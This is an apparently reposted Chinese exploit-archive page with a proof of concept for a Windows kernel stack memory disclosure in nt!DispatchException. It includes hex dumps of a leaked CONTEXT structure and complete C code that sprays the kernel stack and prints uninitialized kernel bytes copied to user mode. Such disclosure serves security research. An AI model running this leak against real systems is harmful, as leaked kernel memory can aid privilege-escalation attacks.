当前位置:首页 > POC 2017年06月22日
Microsoft Windows - nt!DispatchException异常处理示例中的内核堆栈内存泄露

--- cut ---

00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................

00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................

00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000080: 00 00 00 00 00 00 00 00[41 41 41 41]2b 00 00 00 ........AAAA+...

00000090: 53 00 00 00 2b 00 00 00 2b 00 00 00 50 fe 32 00 S...+...+...P.2.

000000a0: 84 fd 32 00 00 e0 fd 7e 00 00 00 00 85 3c 1d 59 ..2....~.....<.Y

000000b0: 1c fd 32 00 6c fd 32 00 4f c5 72 75 23 00 00 00 ..2.l.2.O.ru#...

000000c0: 46 02 00 00 1c fd 32 00 2b 00 00 00 7f 02 00 00 F.....2.+.......

000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................

000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................

--- cut ---

  

Offset 0x88 of the CONTEXT structure on x86 corresponds to the 32-bit CONTEXT.FloatSave.Cr0NpxState field, which appears to remain in an uninitialized state before being copied to user-mode. We have tested that with the kernel stack spraying disabled, these bytes contain varying values originating from the kernel memory space.

  

On Windows 7 32-bit, we're observing a slightly different output:

  

--- cut ---

00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................

00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................

00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000090: 3b 00 00 00 23 00 00 00 23 00 00 00 0c fe 2a 00 ;...#...#.....*.

000000a0: 40 fd 2a 00 00 f0 fd 7f 74 6c 8e 77 89 bb c8 38 @.*.....tl.w...8

000000b0: d8 fc 2a 00 28 fd 2a 00 5d 84 c3 75 1b 00 00 00 ..*.(.*.]..u....

000000c0: 46 02 00 00 d8 fc 2a 00 23 00 00 00 7f 02 00 00 F.....*.#.......

000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................

000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA

000002b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

000002c0: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA....

--- cut ---

 



附上

POC:

#include <Windows.h>
#include <cstdio>
  
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);
  
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
  
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }
  
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }
  
    printf("\n");
  }
}
  
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}
  
VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];
  
  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
    
  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}
  
VOID SprayUserStack() {
  // Buffer allocated from the user-mode stack.
  BYTE buffer[4096];
  MyMemset(buffer, 'x', sizeof(buffer));
}
  
LONG WINAPI MyUnhandledExceptionFilter(
  _In_ struct _EXCEPTION_POINTERS *ExceptionInfo
  ) {
  PrintHex((PBYTE)ExceptionInfo->ContextRecord, sizeof(CONTEXT));
  return EXCEPTION_CONTINUE_EXECUTION;
}
  
int main() {
  SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);
  
  SprayKernelStack();
  SprayUserStack();
  
  RaiseException(1337, 0, 0, NULL);
  
  return 0;
}



发表评论: